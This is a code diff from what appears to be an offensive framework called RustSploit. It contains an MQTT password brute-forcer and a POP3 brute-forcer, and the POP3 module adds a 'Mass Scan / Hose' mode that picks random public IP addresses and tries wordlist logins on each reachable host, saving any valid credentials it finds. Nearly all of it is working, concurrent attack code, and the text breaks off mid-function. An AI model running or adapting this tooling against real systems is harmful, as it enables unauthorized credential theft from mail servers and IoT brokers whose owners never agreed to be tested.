||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Usernames: {}", usernames.len()).cyan());
|
||||
println!("{}", format!("[*] Passwords: {}", passwords.len()).cyan());
|
||||
|
||||
let total = if config.full_combo {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
std::cmp::max(usernames.len(), passwords.len())
|
||||
};
|
||||
println!("{}", format!("[*] Total attempts: ~{}", total).cyan());
|
||||
println!("{}", format!("[*] TLS: {}", if config.use_tls { "Enabled" } else { "Disabled" }).cyan());
|
||||
println!();
|
||||
|
||||
// State
|
||||
let found: Arc<Mutex<Vec<(String, String)>>> = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
let attempts = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Test anonymous first if requested
|
||||
if config.test_anonymous {
|
||||
println!("{}", "[*] Testing anonymous authentication...".blue());
|
||||
match try_mqtt_auth(&addr, "", "", &config.client_id, config.use_tls).await {
|
||||
AttackResult::Success(_, _) => {
|
||||
println!("{}", "[+] ANONYMOUS ACCESS ALLOWED!".green().bold());
|
||||
found.lock().await.push(("(anonymous)".to_string(), "(no password)".to_string()));
|
||||
if config.stop_on_success {
|
||||
print_results(&found, &stats).await;
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
AttackResult::AuthFailed => {
|
||||
println!("{}", "[-] Anonymous access denied (authentication required)".yellow());
|
||||
}
|
||||
AttackResult::ConnectionError(e) => {
|
||||
println!("{}", format!("[!] Connection error: {}", e).red());
|
||||
return Err(anyhow!("Cannot connect to MQTT broker: {}", e));
|
||||
}
|
||||
AttackResult::ProtocolError(e) => {
|
||||
println!("{}", format!("[!] Protocol error: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
println!();
|
||||
}
|
||||
|
||||
// Progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_flag.clone();
|
||||
let attempts_clone = attempts.clone();
|
||||
let total_clone = total;
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
let current = attempts_clone.load(Ordering::Relaxed);
|
||||
let pct = if total_clone > 0 { (current * 100) / total_clone } else { 0 };
|
||||
print!("\r{}", format!("[*] Progress: {}/{} ({}%) ", current, total_clone, pct).blue());
|
||||
stats_clone.print_progress();
|
||||
tokio::time::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Semaphore for concurrency control
|
||||
let semaphore = Arc::new(Semaphore::new(config.threads));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
// Generate and spawn tasks
|
||||
if config.full_combo {
|
||||
// Full combination: every user × every password
|
||||
for username in &usernames {
|
||||
if stop_flag.load(Ordering::Relaxed) { break; }
|
||||
for password in &passwords {
|
||||
if stop_flag.load(Ordering::Relaxed) { break; }
|
||||
spawn_attempt(
|
||||
&mut tasks,
|
||||
&semaphore,
|
||||
&config,
|
||||
&addr,
|
||||
username.clone(),
|
||||
password.clone(),
|
||||
&found,
|
||||
&stop_flag,
|
||||
&stats,
|
||||
&attempts,
|
||||
).await;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Linear mode: zip users and passwords (cycling shorter list)
|
||||
let max_len = std::cmp::max(usernames.len(), passwords.len());
|
||||
for i in 0..max_len {
|
||||
if stop_flag.load(Ordering::Relaxed) { break; }
|
||||
let username = &usernames[i % usernames.len()];
|
||||
let password = &passwords[i % passwords.len()];
|
||||
spawn_attempt(
|
||||
&mut tasks,
|
||||
&semaphore,
|
||||
&config,
|
||||
&addr,
|
||||
username.clone(),
|
||||
password.clone(),
|
||||
&found,
|
||||
&stop_flag,
|
||||
&stats,
|
||||
&attempts,
|
||||
).await;
|
||||
}
|
||||
}
|
||||
|
||||
// Await all tasks
|
||||
while let Some(result) = tasks.next().await {
|
||||
if let Err(e) = result {
|
||||
if config.verbose {
|
||||
eprintln!("{}", format!("[!] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
println!(); // Clear progress line
|
||||
|
||||
print_results(&found, &stats).await;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn spawn_attempt(
|
||||
tasks: &mut FuturesUnordered<tokio::task::JoinHandle<()>>,
|
||||
semaphore: &Arc<Semaphore>,
|
||||
config: &MqttConfig,
|
||||
addr: &str,
|
||||
username: String,
|
||||
password: String,
|
||||
found: &Arc<Mutex<Vec<(String, String)>>>,
|
||||
stop_flag: &Arc<AtomicBool>,
|
||||
stats: &Arc<BruteforceStats>,
|
||||
attempts: &Arc<AtomicUsize>,
|
||||
) {
|
||||
let permit = match semaphore.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
let addr = addr.to_string();
|
||||
let config = config.clone();
|
||||
let found = Arc::clone(found);
|
||||
let stop_flag = Arc::clone(stop_flag);
|
||||
let stats = Arc::clone(stats);
|
||||
let attempts = Arc::clone(attempts);
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit; // Hold until task completes
|
||||
|
||||
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
attempts.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
match try_mqtt_auth(&addr, &username, &password, &config.client_id, config.use_tls).await {
|
||||
AttackResult::Success(u, p) => {
|
||||
println!("\r{}", format!("[+] VALID: {}:{}", u, p).green().bold());
|
||||
found.lock().await.push((u, p));
|
||||
stats.record_success();
|
||||
if config.stop_on_success {
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
AttackResult::AuthFailed => {
|
||||
stats.record_failure();
|
||||
if config.verbose {
|
||||
println!("\r{}", format!("[-] {}:{}", username, password).dimmed());
|
||||
}
|
||||
}
|
||||
AttackResult::ConnectionError(e) => {
|
||||
stats.record_error(e.clone()).await;
|
||||
if config.verbose {
|
||||
println!("\r{}", format!("[!] Connection: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
AttackResult::ProtocolError(e) => {
|
||||
stats.record_error(e.clone()).await;
|
||||
if config.verbose {
|
||||
println!("\r{}", format!("[!] Protocol: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
async fn print_results(found: &Arc<Mutex<Vec<(String, String)>>>, stats: &Arc<BruteforceStats>) {
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No valid credentials found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (user, pass) in creds.iter() {
|
||||
println!(" {} {}:{}", "✓".green(), user, pass);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// MQTT Protocol Implementation
|
||||
// ============================================================================
|
||||
|
||||
async fn try_mqtt_auth(
|
||||
addr: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
client_id: &str,
|
||||
_use_tls: bool,
|
||||
) -> AttackResult {
|
||||
// Connect with timeout
|
||||
let stream = match tokio::time::timeout(
|
||||
Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS),
|
||||
TcpStream::connect(addr),
|
||||
).await {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => return AttackResult::ConnectionError(e.to_string()),
|
||||
Err(_) => return AttackResult::ConnectionError("Connection timeout".to_string()),
|
||||
};
|
||||
|
||||
// TODO: Add TLS support using tokio-native-tls or tokio-rustls
|
||||
// For now, we proceed with plain TCP (TLS requires additional dependencies)
|
||||
|
||||
match mqtt_handshake(stream, username, password, client_id).await {
|
||||
Ok(true) => AttackResult::Success(username.to_string(), password.to_string()),
|
||||
Ok(false) => AttackResult::AuthFailed,
|
||||
Err(e) => AttackResult::ProtocolError(e.to_string()),
|
||||
}
|
||||
}
|
||||
|
||||
async fn mqtt_handshake(
|
||||
mut stream: TcpStream,
|
||||
username: &str,
|
||||
password: &str,
|
||||
client_id: &str,
|
||||
) -> Result<bool> {
|
||||
// Build CONNECT packet
|
||||
let packet = build_connect_packet(username, password, client_id)?;
|
||||
|
||||
// Send CONNECT
|
||||
stream.write_all(&packet).await.context("Failed to send CONNECT")?;
|
||||
stream.flush().await.context("Failed to flush")?;
|
||||
|
||||
// Read CONNACK
|
||||
let mut header = [0u8; 2];
|
||||
let read_result = tokio::time::timeout(
|
||||
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut header),
|
||||
).await;
|
||||
|
||||
match read_result {
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => return Err(anyhow!("Read error: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Read timeout")),
|
||||
}
|
||||
|
||||
if header[0] != MQTT_PACKET_CONNACK {
|
||||
return Err(anyhow!("Expected CONNACK (0x20), got 0x{:02x}", header[0]));
|
||||
}
|
||||
|
||||
let remaining_len = header[1] as usize;
|
||||
if remaining_len < 2 {
|
||||
return Err(anyhow!("CONNACK too short"));
|
||||
}
|
||||
|
||||
let mut payload = vec![0u8; remaining_len];
|
||||
tokio::time::timeout(
|
||||
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut payload),
|
||||
).await.context("Read timeout")?
|
||||
.context("Failed to read CONNACK payload")?;
|
||||
|
||||
// Parse return code (byte 1 of variable header)
|
||||
let return_code = MqttReturnCode::from_byte(payload[1]);
|
||||
|
||||
// Send DISCONNECT on success
|
||||
if return_code == MqttReturnCode::Accepted {
|
||||
let _ = stream.write_all(&[MQTT_PACKET_DISCONNECT, 0x00]).await;
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
if return_code.is_auth_failure() {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
Err(anyhow!("MQTT error: {}", return_code.description()))
|
||||
}
|
||||
|
||||
fn build_connect_packet(username: &str, password: &str, client_id: &str) -> Result<Vec<u8>> {
|
||||
let mut var_header = Vec::new();
|
||||
|
||||
// Protocol Name
|
||||
var_header.extend_from_slice(&(MQTT_PROTOCOL_NAME.len() as u16).to_be_bytes());
|
||||
var_header.extend_from_slice(MQTT_PROTOCOL_NAME);
|
||||
|
||||
// Protocol Level
|
||||
var_header.push(MQTT_PROTOCOL_LEVEL_V311);
|
||||
|
||||
// Connect Flags
|
||||
let mut flags = MQTT_FLAG_CLEAN_SESSION;
|
||||
if !username.is_empty() {
|
||||
flags |= MQTT_FLAG_USERNAME;
|
||||
}
|
||||
if !password.is_empty() {
|
||||
flags |= MQTT_FLAG_PASSWORD;
|
||||
}
|
||||
var_header.push(flags);
|
||||
|
||||
// Keep Alive (60 seconds)
|
||||
var_header.extend_from_slice(&60u16.to_be_bytes());
|
||||
|
||||
// Payload
|
||||
let mut payload = Vec::new();
|
||||
|
||||
// Client ID (required)
|
||||
let client_id_bytes = client_id.as_bytes();
|
||||
payload.extend_from_slice(&(client_id_bytes.len() as u16).to_be_bytes());
|
||||
payload.extend_from_slice(client_id_bytes);
|
||||
|
||||
// Username (optional)
|
||||
if !username.is_empty() {
|
||||
let username_bytes = username.as_bytes();
|
||||
payload.extend_from_slice(&(username_bytes.len() as u16).to_be_bytes());
|
||||
payload.extend_from_slice(username_bytes);
|
||||
}
|
||||
|
||||
// Password (optional)
|
||||
if !password.is_empty() {
|
||||
let password_bytes = password.as_bytes();
|
||||
payload.extend_from_slice(&(password_bytes.len() as u16).to_be_bytes());
|
||||
payload.extend_from_slice(password_bytes);
|
||||
}
|
||||
|
||||
// Calculate remaining length
|
||||
let remaining_length = var_header.len() + payload.len();
|
||||
let remaining_bytes = encode_remaining_length(remaining_length)?;
|
||||
|
||||
// Build final packet
|
||||
let mut packet = Vec::with_capacity(1 + remaining_bytes.len() + var_header.len() + payload.len());
|
||||
packet.push(MQTT_PACKET_CONNECT);
|
||||
packet.extend_from_slice(&remaining_bytes);
|
||||
packet.extend_from_slice(&var_header);
|
||||
packet.extend_from_slice(&payload);
|
||||
|
||||
Ok(packet)
|
||||
}
|
||||
|
||||
fn encode_remaining_length(mut length: usize) -> Result<Vec<u8>> {
|
||||
if length > 268_435_455 {
|
||||
return Err(anyhow!("Packet too large"));
|
||||
}
|
||||
|
||||
let mut bytes = Vec::with_capacity(4);
|
||||
loop {
|
||||
let mut byte = (length % 128) as u8;
|
||||
length /= 128;
|
||||
if length > 0 {
|
||||
byte |= 0x80;
|
||||
}
|
||||
bytes.push(byte);
|
||||
if length == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(bytes)
|
||||
}
|
||||
@@ -1,14 +1,44 @@
|
||||
use anyhow::{Result, Context};
|
||||
use regex::Regex;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, BufRead, BufReader, Write, Read};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::time::Duration;
|
||||
use threadpool::ThreadPool;
|
||||
use crossbeam_channel::unbounded;
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use native_tls::TlsConnector;
|
||||
use std::io::{Read, Write};
|
||||
use std::net::TcpStream;
|
||||
use std::sync::{
|
||||
atomic::{AtomicBool, Ordering},
|
||||
Arc,
|
||||
};
|
||||
use std::time::Duration;
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range,
|
||||
load_lines, prompt_default,
|
||||
};
|
||||
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
|
||||
use std::sync::atomic::AtomicUsize;
|
||||
use std::net::{IpAddr, SocketAddr};
|
||||
use tokio::fs::OpenOptions; // For file writing in mass scan
|
||||
use tokio::io::AsyncWriteExt; // For write_all
|
||||
|
||||
|
||||
const STATE_FILE: &str = "pop3_hose_state.log";
|
||||
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
|
||||
// Hardcoded exclusions
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
// Cloudflare
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
// Google
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
#[derive(Clone)]
|
||||
struct Pop3BruteforceConfig {
|
||||
target: String,
|
||||
@@ -20,18 +50,92 @@ struct Pop3BruteforceConfig {
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
use_ssl: bool,
|
||||
connection_timeout: u64,
|
||||
retry_on_error: bool,
|
||||
max_retries: usize,
|
||||
output_file: String,
|
||||
delay_ms: u64,
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n=== POP3 Bruteforce ===\n");
|
||||
let port = prompt("Port (default 110 for POP3, 995 for POP3S): ").parse().unwrap_or(110);
|
||||
let username_wordlist = prompt("Username wordlist file: ");
|
||||
let password_wordlist = prompt("Password wordlist file: ");
|
||||
let threads = prompt("Threads (default 16): ").parse().unwrap_or(16);
|
||||
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let use_ssl = prompt("Use SSL/TLS (POP3S)? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
println!("\n{}", "=== POP3 Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
println!();
|
||||
|
||||
// Check for Mass Scan Mode conditions
|
||||
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
|
||||
|
||||
if is_mass_scan {
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
// Check for API-provided config
|
||||
let config_api = crate::config::get_module_config();
|
||||
let api_mode = config_api.is_api_mode();
|
||||
|
||||
let use_ssl = if api_mode { false } else { prompt_yes_no("Use SSL/TLS (POP3S)?", false)? };
|
||||
let default_port = if use_ssl { 995 } else { 110 };
|
||||
|
||||
let port = if let Some(p) = config_api.port {
|
||||
p
|
||||
} else if api_mode {
|
||||
default_port
|
||||
} else {
|
||||
prompt_int_range("Port", default_port as i64, 1, 65535)? as u16
|
||||
};
|
||||
|
||||
let username_wordlist = if let Some(ref f) = config_api.username_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Username wordlist not found: {}", f));
|
||||
}
|
||||
f.clone()
|
||||
} else if api_mode {
|
||||
return Err(anyhow!("Username wordlist required for API mode"));
|
||||
} else {
|
||||
prompt_existing_file("Username wordlist file")?
|
||||
};
|
||||
|
||||
let password_wordlist = if let Some(ref f) = config_api.password_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Password wordlist not found: {}", f));
|
||||
}
|
||||
f.clone()
|
||||
} else if api_mode {
|
||||
return Err(anyhow!("Password wordlist required for API mode"));
|
||||
} else {
|
||||
prompt_existing_file("Password wordlist file")?
|
||||
};
|
||||
|
||||
let threads = config_api.concurrency.unwrap_or_else(|| {
|
||||
if api_mode { 16 } else { prompt_int_range("Threads", 16, 1, 256).unwrap_or(16) as usize }
|
||||
});
|
||||
let delay_ms = if api_mode { 50 } else { prompt_int_range("Delay (ms)", 50, 0, 10000).unwrap_or(50) as u64 };
|
||||
let connection_timeout = if api_mode { 5 } else {
|
||||
prompt_int_range("Timeout (s)", 5, 1, 60).unwrap_or(5) as u64
|
||||
};
|
||||
|
||||
let full_combo = config_api.combo_mode.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Try every username with every password?", false).unwrap_or(false) }
|
||||
});
|
||||
let stop_on_success = config_api.stop_on_success.unwrap_or_else(|| {
|
||||
if api_mode { true } else { prompt_yes_no("Stop on first valid login?", false).unwrap_or(true) }
|
||||
});
|
||||
|
||||
let output_file = config_api.output_file.clone().unwrap_or_else(|| {
|
||||
if api_mode { "pop3_results.txt".to_string() } else { prompt_default("Output file for results", "pop3_results.txt").unwrap_or_else(|_| "pop3_results.txt".to_string()) }
|
||||
});
|
||||
|
||||
let verbose = config_api.verbose.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
|
||||
});
|
||||
let retry_on_error = if api_mode { true } else { prompt_yes_no("Retry failed connections?", true)? };
|
||||
let max_retries = if retry_on_error {
|
||||
if api_mode { 2 } else { prompt_int_range("Max retries", 2, 1, 10).unwrap_or(2) as usize }
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let config = Pop3BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
@@ -42,182 +146,459 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
full_combo,
|
||||
use_ssl,
|
||||
connection_timeout,
|
||||
retry_on_error,
|
||||
max_retries,
|
||||
output_file,
|
||||
delay_ms,
|
||||
};
|
||||
run_pop3_bruteforce(config)
|
||||
|
||||
if !api_mode {
|
||||
println!();
|
||||
println!("{}", "[Starting Attack]".bold().yellow());
|
||||
println!();
|
||||
}
|
||||
|
||||
run_pop3_bruteforce(config).await
|
||||
}
|
||||
|
||||
fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
|
||||
let addr = normalize_target(&config.target, config.port)?;
|
||||
let host = get_hostname(&config.target);
|
||||
let usernames = read_lines(&config.username_wordlist)?;
|
||||
let passwords = read_lines(&config.password_wordlist)?;
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
return Err(anyhow::anyhow!("Empty user or pass wordlist."));
|
||||
}
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(Mutex::new(false));
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
if config.full_combo {
|
||||
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
|
||||
} else if usernames.len() == 1 {
|
||||
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
|
||||
} else if passwords.len() == 1 {
|
||||
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
|
||||
async fn run_mass_scan(target: &str) -> Result<()> {
|
||||
// Get API config
|
||||
let config = crate::config::get_module_config();
|
||||
let api_mode = config.is_api_mode();
|
||||
|
||||
// In API mode, default to no SSL; otherwise ask
|
||||
let use_ssl = if api_mode { false } else { prompt_yes_no("Use SSL/TLS (POP3S)?", false).unwrap_or(false) };
|
||||
let default_port = if use_ssl { 995 } else { 110 };
|
||||
|
||||
let port = config.port.unwrap_or_else(|| {
|
||||
if api_mode { default_port } else { prompt_int_range("Port", default_port as i64, 1, 65535).unwrap_or(default_port as i64) as u16 }
|
||||
});
|
||||
|
||||
let usernames_file = config.username_wordlist.clone().ok_or_else(|| {
|
||||
anyhow!("username_wordlist required")
|
||||
}).or_else(|_| {
|
||||
if api_mode { Err(anyhow!("username_wordlist required for API mode")) }
|
||||
else { prompt_existing_file("Username wordlist") }
|
||||
})?;
|
||||
|
||||
let passwords_file = config.password_wordlist.clone().ok_or_else(|| {
|
||||
anyhow!("password_wordlist required")
|
||||
}).or_else(|_| {
|
||||
if api_mode { Err(anyhow!("password_wordlist required for API mode")) }
|
||||
else { prompt_existing_file("Password wordlist") }
|
||||
})?;
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = config.concurrency.unwrap_or_else(|| {
|
||||
if api_mode { 500 } else { prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).unwrap_or(500) as usize }
|
||||
});
|
||||
let verbose = config.verbose.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
|
||||
});
|
||||
let output_file = config.output_file.clone().unwrap_or_else(|| {
|
||||
if api_mode { "pop3_mass_results.txt".to_string() }
|
||||
else { prompt_default("Output result file", "pop3_mass_results.txt").unwrap_or_else(|_| "pop3_mass_results.txt".to_string()) }
|
||||
});
|
||||
|
||||
// In API mode, always exclude private ranges
|
||||
let use_exclusions = if api_mode { true } else { prompt_yes_no("Exclude reserved/private ranges?", true).unwrap_or(true) };
|
||||
|
||||
// Parse exclusions
|
||||
let exclusions = if use_exclusions {
|
||||
println!("{}", format!("[+] Loaded {} exclusion ranges", EXCLUDED_RANGES.len()).cyan());
|
||||
Arc::new(parse_exclusions(EXCLUDED_RANGES))
|
||||
} else {
|
||||
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
|
||||
}
|
||||
drop(tx);
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let addr = addr.clone();
|
||||
let host = host.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let found = Arc::clone(&found);
|
||||
let config = config.clone();
|
||||
pool.execute(move || {
|
||||
while let Ok((user, pass)) = rx.recv() {
|
||||
if *stop_flag.lock().unwrap() { break; }
|
||||
if config.verbose { println!("[*] Trying {}:{}", user, pass); }
|
||||
let result = if config.use_ssl {
|
||||
try_pop3s_login_verbose(&addr, &host, &user, &pass, config.verbose)
|
||||
} else {
|
||||
try_pop3_login_verbose(&addr, &user, &pass, config.verbose)
|
||||
};
|
||||
match result {
|
||||
Ok(true) => {
|
||||
println!();
|
||||
println!("[+] VALID: {}:{}", user, pass);
|
||||
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
|
||||
if config.stop_on_success {
|
||||
*stop_flag.lock().unwrap() = true;
|
||||
while rx.try_recv().is_ok() {}
|
||||
break;
|
||||
}
|
||||
Arc::new(Vec::new())
|
||||
};
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let creds_pkg = Arc::new((users, pass_lines, use_ssl));
|
||||
|
||||
// Stats
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs scanned, {} valid POP3 credentials found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
|
||||
if run_random {
|
||||
// Initialize state file
|
||||
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
|
||||
|
||||
println!("{}", "[*] Starting Random Internet Scan...".green());
|
||||
loop {
|
||||
let permit = match semaphore.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => break, // Semaphore closed, exit loop
|
||||
};
|
||||
let exc = exclusions.clone();
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
if !is_ip_checked(&ip, STATE_FILE).await {
|
||||
mark_ip_checked(&ip, STATE_FILE).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
// File Mode
|
||||
let content = tokio::fs::read_to_string(target).await
|
||||
.context(format!("Failed to read target file: {}", target))?;
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = match semaphore.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => continue, // Skip this IP if semaphore closed
|
||||
};
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
if let Ok(ip) = ip_str.parse::<IpAddr>() {
|
||||
tokio::spawn(async move {
|
||||
if !is_ip_checked(&ip, STATE_FILE).await {
|
||||
mark_ip_checked(&ip, STATE_FILE).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
} else {
|
||||
drop(permit);
|
||||
}
|
||||
}
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn mass_scan_host(
|
||||
ip: IpAddr,
|
||||
port: u16,
|
||||
creds: Arc<(Vec<String>, Vec<String>, bool)>,
|
||||
stats_found: Arc<AtomicUsize>,
|
||||
output_file: String,
|
||||
verbose: bool
|
||||
) {
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
|
||||
// 1. Connection Check
|
||||
if tokio::time::timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), tokio::net::TcpStream::connect(&sa)).await.is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
let (users, passes, use_ssl) = &*creds;
|
||||
|
||||
let target_str = ip.to_string();
|
||||
|
||||
// Construct a config for the attempt function
|
||||
// We can't reuse the large config struct easily without creating dummy values,
|
||||
// so we'll just reconstruct the necessary parts or make attempt_pop3_login take separate args.
|
||||
// For now, I'll build a dummy config.
|
||||
let dummy_wordlist = "dummy".to_string();
|
||||
|
||||
for user in users {
|
||||
for pass in passes {
|
||||
let t_target = target_str.clone();
|
||||
let t_user = user.clone();
|
||||
let t_pass = pass.clone();
|
||||
let t_use_ssl = *use_ssl;
|
||||
let dw = dummy_wordlist.clone();
|
||||
|
||||
// Blocking call
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
